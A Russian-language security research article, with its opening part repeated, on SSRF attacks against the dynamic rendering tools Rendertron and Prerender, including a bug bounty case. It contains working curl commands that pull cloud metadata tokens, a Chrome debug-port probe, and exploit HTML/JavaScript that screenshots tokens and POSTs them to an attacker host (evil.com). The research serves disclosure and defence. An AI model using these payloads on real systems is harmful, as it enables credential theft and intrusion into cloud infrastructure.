Динамический рендеринг — это техника, которая используется, чтобы отдавать поисковикам и ботам заранее отрендеренные веб‑страницы. В этой статье я исследую, как две популярные утилиты для динамического рендеринга добавляют уязвимости в веб‑приложение, если настроены неправильно, и попробую объяснить, как я использовал уязвимость в одном из них, чтобы захватить сервер компании в рамках bug bounty.
Для создания сайтов и веб‑приложений активно применяются фреймворки JavaScript — вместо статичных страниц HTML теперь популярно делать PWA (progressive web apps) и SPA (single page applications), которые формируют большую часть контента в браузере пользователя. У этого подхода масса преимуществ, и на вебе это позволяет сделать отзывчивый интерфейс, но в то же время такой подход недружелюбен для SEO, потому что большинство поисковиков и ботов не понимают JavaScript и не могут рендерить страницы самостоятельно.
Один из распространенных способов помочь ботам в таком случае — это открыть запрашиваемую страницу в headless-браузере на стороне сервера, дождаться, пока страница отрисуется, и вернуть получившийся HTML, предварительно почистив его от лишних тегов. Этот метод и называется «динамический рендеринг» и сейчас активно продвигается компанией Google как возможность оптимизировать сайт для поиска.
Я наткнулся на этот тип приложений, когда проводил немного другое исследование: я искал уязвимости в модулях npm, которые используют headless-браузеры. Я написал правила для Semgrep https://semgrep.dev/p/headless-browser (утилиты с открытыми исходниками, в разработке которой я принимаю участие) и применил их к тысячам модулей, которые используют Puppeteer, Playwright и PhantomJS в качестве зависимостей. Находок было много, и после расследования и разбора результатов я обнаружил множество модулей, помогающих веб‑мастерам в организации динамического рендеринга.
Популярность динамического рендеринга растет, поэтому будет небесполезно понять, что может пойти не так в продакшене при его использовании.
В своем исследовании я разобрал два самых популярных приложения для динамического рендеринга — Rendertron и Prerender, но описанные атаки можно использовать и для других приложений такого типа.
Также я немного расскажу о том, как мне удалось применить полученные знания при поиске уязвимостей в рамках bug bounty.
Когда потенциальная цель найдена, можно проверить, использует ли она динамический рендеринг, отправив несколько запросов с разными значениями заголовка User-Agent.
Вот запрос, который притворяется Google Chrome:
А вот запрос якобы от бота Slack:
Если ответы от сервера различаются, а ответ на запрос от поддельного краулера приходит в виде красивого HTML без тегов <script>, это означает, что сайт использует динамический рендеринг.
В качестве подопытного я использовал демосайт Google для фреймворка Polymer. Под капотом у него Rendertron.
Сравниваем запросы
Подробности того, на какие конкретно значения User-Agent реагирует приложение, можно посмотреть в исходном коде Rendertron (файл middleware.ts). Также Rendertron всегда возвращает заголовок X-Renderer: Rendertron. Prerender может писать в ответах X-Prerender: 1, но это не умолчательное поведение.
Оба фреймворка дают разработчикам возможность управлять заголовками ответа с помощью метатегов на странице. Это полезно для детекта динамического рендеринга.
Пример для Prerender:
Пример для Rendertron:
Существуют некоторые запреты на доступ к локальным адресам, но в зависимости от версии приложения их можно попробовать обойти.
Rendertron
Итак, если ты наткнулся на рабочий Rendertron, первое, что можно сделать, — это предпринять SSRF-атаку и, к примеру, получить токены от облака следующим способом:
Либо:
Отличная подборка примеров атак SSRF на GitHub - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery
Если запросы блокируются, все еще есть шанс заставить Headless Chrome открыть iFrame и показать скриншот, содержащий метаданные: отправить запрос на /screenshot и направить Rendertron на страницу, которую ты контролируешь.
HTML по адресу www.attackers-website.here содержит iFrame, который обращается к API Google Cloud, доступному только на сервере.
В результате мы получаем скриншот с фреймом, который содержит секретный токен.
Этот баг исправлен в версии 3.1.0.
API Prerender выглядит следующим образом.
Также Prerender соединяется с Chrome через отладочный интерфейс, который всегда открыт на порте 9222, поэтому если запросы на этот адрес разрешены, то есть возможность вытащить Chrome ID.
Теперь можно слать запросы WebSocket к Chrome напрямую и таким образом управлять встроенным браузером. Например, открывать новые вкладки, отправлять произвольные запросы, читать локальные файлы (подробности — в документации Chrome DevTools Protocol).
В статье я фокусируюсь на том, чтобы попытаться вытащить секреты через API облачных провайдеров, но важно помнить, что, если в Rendertron или Prerender запросы к облаку запрещены, все еще можно попытаться отправить запросы к другим частям инфраструктуры — например, к кешу или базам данных.
Во время исследования я нашел несколько серверов c торчащим наружу Rendertron, но bug bounty на них не было, поэтому трогать их я не стал.
Если приложение для динамического рендеринга не торчит наружу, но ты смог определить, что сайт его использует, все еще есть шанс провести атаку. В этом может помочь любой способ встроить свой контент в страницу или перенаправить страницу на ту, в которой можно контролировать содержимое. Простейший вариант — это найти open redirect. Который, к слову, многие программы bug bounty не принимают за уязвимость.
Если open redirect найден, то легко устроить атаку, просто отправив запросы:
Также можно перенаправить на страницу, содержащую фреймы, если прямые запросы заблокированы.
Поиск XSS- или HTML-инъекции выглядел сложной задачей, поэтому я сфокусировался на поиске open redirect. Мне повезло, и цель, которую я обнаружил, была уязвима к нему.
Большинство шпаргалок и обучающих материалов по open redirect фокусируются на перенаправлениях, которые происходят через сервер. Но так как динамический рендеринг используется на страницах с большим количеством сложного JavaScript, больше вероятность найти уязвимость на стороне клиента.
С этой задачей мне сильно помог Semgrep. Я набросал кучу шаблонов того, как может возникнуть редирект в JavaScript, и сканировал весь код на страницах, принадлежащих моей цели. Буквально в течение часа open redirect был найден.
Набор правил, которые я использовал https://semgrep.dev/p/clientside-js
Теперь осталось только заставить headless-браузер совершить перенаправление и вытащить метаданные от Google Cloud (URL был изменен, чтобы не разглашать информацию о приватной bug bounty).
Пример с bug bounty
Это сработало, и я получил вознаграждение за найденную уязвимость.
Мне повезло — я наткнулся на устаревшую версию, которая не блокировала прямые запросы к метаданным, но, если бы они были заблокированы, все равно была бы возможность запросить их через iFrame. Однако есть одна проблема — получить содержимое этого iFrame. Для этого можно использовать функцию снятия скриншотов страницы. Сценарий атаки выглядит следующим образом.
Rendertron hack sequence
1. Страница, которая контролируется атакующим, открывается во вкладке headless-браузера — «Страница #1».
2. Это заставляет браузер отправить запрос самому себе (локально) и показать результат рендеринга с веб‑страницей атакующего («Страница #2»).
3. Headless-браузер открывает URL («Страница #3»), который снова отправляет запрос в приложение для рендеринга.
4–5. Браузер открывает еще одну страницу, контролируемую атакующим, —
Полная версия кода на JavaScript, который выполняется по событию onerror:
6–7. Браузер создает скриншот страницы, которая содержит iFrame с данными от облачного API. Например:
8. Затем браузер отправляет его на хост атакующего, но оба запроса не будут работать из‑за защиты SOP (изображение извлекается из localhost, в то время как текущий URL — http://www.attackers-website.url). Тем не менее полученный HTML-код возвращается в headless-браузер («Страница #3»).
9–10. Тот же HTML-код отображается внутри вкладки браузера («Страница #3»), но на этот раз все запросы работают, потому что правила SOP не нарушаются (хост страницы такой же, как и у изображения, — localhost:3000).
11. Изображение с токеном отправляется атакующему.
Адрес http://metadata.google.internal/computeMetadata/v1beta1/, который часто используется в примерах, устарел. В Google объявили, что скоро он перестанет отвечать и экземпляры Rendertron, работающие в Google Cloud, больше не будут так легко отдавать свои токены. В любом случае имей в виду, что методология и приемы этого исследования могут применяться не только для угона облачных токенов, но и для использования SSRF в целом.
И никаких проблем с CORS, так как код выполнится по адресу страницы!
Rendertron и Prerender ищут в HTML специальные метатеги, которые используются для манипуляции с ответами. Это не уязвимость, но может использоваться как часть атаки, если атакующий имеет возможность встроить HTML в страницу и таким образом манипулировать ответом (например, переопределить X-Frame-Options или поменять один из заголовков CORS).
В обоих приложениях можно настраивать списки блокировок для запрашиваемых URL, но есть шанс обойти их с помощью трюков с DNS.
Если ты в команде защиты, то будь в курсе, что headless-браузер внутри инфраструктуры может добавить много уязвимостей, если настроен неправильно. И даже самые маленькие огрехи в безопасности могут быть первым шагом к RCE. К счастью, много подобных мелочей можно найти с помощью современного статического анализа кода.
Автор @inkz aka Василий Ермилов
Исследователь безопасности в r2c
Для создания сайтов и веб‑приложений активно применяются фреймворки JavaScript — вместо статичных страниц HTML теперь популярно делать PWA (progressive web apps) и SPA (single page applications), которые формируют большую часть контента в браузере пользователя. У этого подхода масса преимуществ, и на вебе это позволяет сделать отзывчивый интерфейс, но в то же время такой подход недружелюбен для SEO, потому что большинство поисковиков и ботов не понимают JavaScript и не могут рендерить страницы самостоятельно.
Один из распространенных способов помочь ботам в таком случае — это открыть запрашиваемую страницу в headless-браузере на стороне сервера, дождаться, пока страница отрисуется, и вернуть получившийся HTML, предварительно почистив его от лишних тегов. Этот метод и называется «динамический рендеринг» и сейчас активно продвигается компанией Google как возможность оптимизировать сайт для поиска.
Я наткнулся на этот тип приложений, когда проводил немного другое исследование: я искал уязвимости в модулях npm, которые используют headless-браузеры. Я написал правила для Semgrep https://semgrep.dev/p/headless-browser (утилиты с открытыми исходниками, в разработке которой я принимаю участие) и применил их к тысячам модулей, которые используют Puppeteer, Playwright и PhantomJS в качестве зависимостей. Находок было много, и после расследования и разбора результатов я обнаружил множество модулей, помогающих веб‑мастерам в организации динамического рендеринга.
Популярность динамического рендеринга растет, поэтому будет небесполезно понять, что может пойти не так в продакшене при его использовании.
В своем исследовании я разобрал два самых популярных приложения для динамического рендеринга — Rendertron и Prerender, но описанные атаки можно использовать и для других приложений такого типа.
Также я немного расскажу о том, как мне удалось применить полученные знания при поиске уязвимостей в рамках bug bounty.
АРХИТЕКТУРА
Один из возможных способов показать поисковому боту подходящий для индексации контент работает так: перехватывается запрос, страница рендерится на сервере, а результат в виде HTML со всем нужным содержимым возвращается боту.
- Сервер определяет, что запрос приходит от краулера, по заголовку User-Agent (в некоторых случаях — по параметрам URL).
- Запрос перенаправляется приложению для динамического рендеринга.
- Приложение для динамического рендеринга запускает headless-браузер и открывает исходный URL так, будто его смотрит обычный пользователь.
- Получившийся HTML очищается от уже не нужных тегов <script> и возвращается на сервер.
- Сервер возвращает результат краулеру.
РАЗВЕДКА
На каких страницах обычно используется динамический рендеринг? Эти страницы, скорее всего, будут в открытом доступе, поскольку цель динамического рендеринга — улучшить их индексируемость. Контент на этих страницах будет создаваться при помощи JavaScript, при этом данные на странице меняются динамически. Например, это может быть новостной сайт, который постоянно обновляется, или часто обновляемый список популярных продуктов в интернет‑магазине.Когда потенциальная цель найдена, можно проверить, использует ли она динамический рендеринг, отправив несколько запросов с разными значениями заголовка User-Agent.
Вот запрос, который притворяется Google Chrome:
Код:
curl -v -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" https://shop.polymer-project.org/
Код:
curl -v -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://shop.polymer-project.org/
В качестве подопытного я использовал демосайт Google для фреймворка Polymer. Под капотом у него Rendertron.
Сравниваем запросы
Подробности того, на какие конкретно значения User-Agent реагирует приложение, можно посмотреть в исходном коде Rendertron (файл middleware.ts). Также Rendertron всегда возвращает заголовок X-Renderer: Rendertron. Prerender может писать в ответах X-Prerender: 1, но это не умолчательное поведение.
Оба фреймворка дают разработчикам возможность управлять заголовками ответа с помощью метатегов на странице. Это полезно для детекта динамического рендеринга.
Пример для Prerender:
Код:
<meta name="prerender-status-code" content="302" />
<meta name="prerender-header" content="Location: https://www.google.com" />
Код:
<meta name="render:status_code" content="404" />
SSRF ПО-ЛЕГКОМУ
Легче всего захватить приложение для динамического рендеринга, если оно доступно извне. Тогда можно взаимодействовать с ним напрямую и отправлять через него произвольные запросы, включая запросы к локальной инфраструктуре.Существуют некоторые запреты на доступ к локальным адресам, но в зависимости от версии приложения их можно попробовать обойти.
Rendertron
Rendertron проще всего найти, потому что у него есть интерфейс, который позволяет отправлять запросы и делать скриншоты.
Rendertron
- Версия 3.1.0 — есть возможность задать список разрешенных URL (но их нужно настроить самому).
- Версия 3.0.0 — есть блокировка прямых запросов к Google Cloud, тем не менее ее можно обойти, отправив запросы через iFrame, блокировка не распространяется на другие облачные платформы (AWS, Digital Ocean и прочие).
- Старые версии блокируют запросы к Google Cloud, но разрешают запросы к бета‑версии API (http://metadata.google.internal/computeMetadata/v1beta1/).
- Версия 1.1.1 и младше — разрешены любые запросы.
- GET /render/:url — отобразит и сериализует страницу.
- GET /screenshot/:url и POST /screenshot/:url — делает скриншот страницы.
Итак, если ты наткнулся на рабочий Rendertron, первое, что можно сделать, — это предпринять SSRF-атаку и, к примеру, получить токены от облака следующим способом:
Код:
curl https://rendertron-instance.here/render/http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
Код:
curl https://rendertron-instance.here/render/http://169.254.169.254/latest/meta-data/
Если запросы блокируются, все еще есть шанс заставить Headless Chrome открыть iFrame и показать скриншот, содержащий метаданные: отправить запрос на /screenshot и направить Rendertron на страницу, которую ты контролируешь.
Код:
curl https://rendertron-instance.here/render/http://www.attackers-website.here/iframe-example
Код:
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
</head>
<body>
<iframe
src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json"
width="468"
height="600"
></iframe>
</body>
</html>
Этот баг исправлен в версии 3.1.0.
Prerender
У Prerender нет фронтенда, поэтому его сложнее обнаружить. Поиск осложняется еще и тем, что запрос на / возвращает статус 400 без интересных заголовков:
HTTP:
HTTP/1.1 400 Bad Request
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 03 Aug 2020 06:55:29 GMT
- GET /:url
- GET /render?url=:url
- POST /render?url=:url
- Prerender тоже может делать скриншоты;
- followRedirects (по умолчанию false) разрешает перенаправления с одного адреса на другой.
Код:
curl https://rendertron-instance.here/render?url=http://169.254.169.254/latest/meta-data/
Код:
curl https://rendertron-instance.here/render?url=http://localhost:9222/json/
В статье я фокусируюсь на том, чтобы попытаться вытащить секреты через API облачных провайдеров, но важно помнить, что, если в Rendertron или Prerender запросы к облаку запрещены, все еще можно попытаться отправить запросы к другим частям инфраструктуры — например, к кешу или базам данных.
Во время исследования я нашел несколько серверов c торчащим наружу Rendertron, но bug bounty на них не было, поэтому трогать их я не стал.
АТАКИ ЧЕРЕЗ ВЕБ-ПРИЛОЖЕНИЯ
В поисках подходящих серверов (с уязвимостью и подлежащих bug bounty) я просто отправлял на все возможные домены запросы с заголовком User-Agent: Slackbot blabla. Всего один раз я получил в ответ с заголовком X-Renderer: Rendertron, но этого оказалось достаточно, чтобы заработать вознаграждение.Если приложение для динамического рендеринга не торчит наружу, но ты смог определить, что сайт его использует, все еще есть шанс провести атаку. В этом может помочь любой способ встроить свой контент в страницу или перенаправить страницу на ту, в которой можно контролировать содержимое. Простейший вариант — это найти open redirect. Который, к слову, многие программы bug bounty не принимают за уязвимость.
Если open redirect найден, то легко устроить атаку, просто отправив запросы:
Код:
curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://metadata.google.internal/computeMetadata/v1beta1/
curl -A "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" https://www.website.com/redirectUrl=http://169.254.169.254/latest/meta-data/
Поиск XSS- или HTML-инъекции выглядел сложной задачей, поэтому я сфокусировался на поиске open redirect. Мне повезло, и цель, которую я обнаружил, была уязвима к нему.
Большинство шпаргалок и обучающих материалов по open redirect фокусируются на перенаправлениях, которые происходят через сервер. Но так как динамический рендеринг используется на страницах с большим количеством сложного JavaScript, больше вероятность найти уязвимость на стороне клиента.
С этой задачей мне сильно помог Semgrep. Я набросал кучу шаблонов того, как может возникнуть редирект в JavaScript, и сканировал весь код на страницах, принадлежащих моей цели. Буквально в течение часа open redirect был найден.
Набор правил, которые я использовал https://semgrep.dev/p/clientside-js
Теперь осталось только заставить headless-браузер совершить перенаправление и вытащить метаданные от Google Cloud (URL был изменен, чтобы не разглашать информацию о приватной bug bounty).
Пример с bug bounty
Это сработало, и я получил вознаграждение за найденную уязвимость.
Мне повезло — я наткнулся на устаревшую версию, которая не блокировала прямые запросы к метаданным, но, если бы они были заблокированы, все равно была бы возможность запросить их через iFrame. Однако есть одна проблема — получить содержимое этого iFrame. Для этого можно использовать функцию снятия скриншотов страницы. Сценарий атаки выглядит следующим образом.
Rendertron hack sequence
1. Страница, которая контролируется атакующим, открывается во вкладке headless-браузера — «Страница #1».
Код:
<html>
<body>
<script type="text/javascript">
fetch(
"http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html"
);
</script>
</body>
</html>
Код:
http://localhost:3000/render/http://localhost:3000/render/http://www.attackers-website.url/exploit.html
Код:
http://localhost:3000/render/http://www.attackers-website.url/exploit.html
http://www.attackers-website.url/exploit.html («Страница #4») — со следующим кодом:
HTML:
<html>
<body>
<img
id="hacked"
src="http://localhost:3000/screenshot/http://metadata.google.internal/computeMetadata/v1beta1/?width=800&height=800"
width="800"
height="800"
/>
<img
src="x"
onerror='(n=0,i=document.getElementById("hacked"),i.onload=function(){n++;e=document.createElement("canvas");e.width=i.width,e.height=i.height,e.getContext("2d").drawImage(i,0,0);t=e.toDataURL("image/png");if(n>1){fetch("http://www.evil.com",{method:"POST",body:JSON.stringify(t)})}})()'
/>
</body>
</html>
Код:
var n = 0;
var img = document.getElementById("hacked"); // <-- скриншот с метаданными
img.onload = function() {
// Когда скриншот загрузился:
n++;
// Скопировать скриншот в элемент типа canvas
var canvasEl = document.createElement("canvas");
(canvasEl.width = img.width),
(canvasEl.height = img.height),
canvasEl.getContext("2d").drawImage(img, 0, 0);
// Получить содержимое скриншота
var imgContent = e.toDataURL("image/png");
if (n > 1) {
fetch("http://www.attackers-website.url", {
// Отправить содержимое скриншота атакующему
method: "POST",
body: JSON.stringify(imgContent),
});
}
};
Код:
http://metadata.google.internal/computeMetadata/v1beta1/
9–10. Тот же HTML-код отображается внутри вкладки браузера («Страница #3»), но на этот раз все запросы работают, потому что правила SOP не нарушаются (хост страницы такой же, как и у изображения, — localhost:3000).
11. Изображение с токеном отправляется атакующему.
Адрес http://metadata.google.internal/computeMetadata/v1beta1/, который часто используется в примерах, устарел. В Google объявили, что скоро он перестанет отвечать и экземпляры Rendertron, работающие в Google Cloud, больше не будут так легко отдавать свои токены. В любом случае имей в виду, что методология и приемы этого исследования могут применяться не только для угона облачных токенов, но и для использования SSRF в целом.
СОВЕТЫ И ТРЮКИ
Если не получается проэксплуатировать SSRF, но open redirect на странице есть, то можно провернуть XSS. Как упоминалось ранее, приложения для динамического рендеринга отсекают теги <script> и ссылки на JavaScript, но код внутри атрибутов остается нетронутым, поэтому будет работать и приводить к XSS-перенаправлению вроде такого:
Код:
<html>
<body>
<img src="x" onerror="alert(1)" />
</body>
</html>
Rendertron и Prerender ищут в HTML специальные метатеги, которые используются для манипуляции с ответами. Это не уязвимость, но может использоваться как часть атаки, если атакующий имеет возможность встроить HTML в страницу и таким образом манипулировать ответом (например, переопределить X-Frame-Options или поменять один из заголовков CORS).
В обоих приложениях можно настраивать списки блокировок для запрашиваемых URL, но есть шанс обойти их с помощью трюков с DNS.
ВЫВОД
Динамический рендеринг набирает популярность, и он будет использоваться все чаще, так как это разумный способ совместить использование современного JavaScript и SЕО. Google и другие компании продвигают этот подход, поэтому важно понять, какие слабости эта технология может принести.Если ты в команде защиты, то будь в курсе, что headless-браузер внутри инфраструктуры может добавить много уязвимостей, если настроен неправильно. И даже самые маленькие огрехи в безопасности могут быть первым шагом к RCE. К счастью, много подобных мелочей можно найти с помощью современного статического анализа кода.
Автор @inkz aka Василий Ермилов
Исследователь безопасности в r2c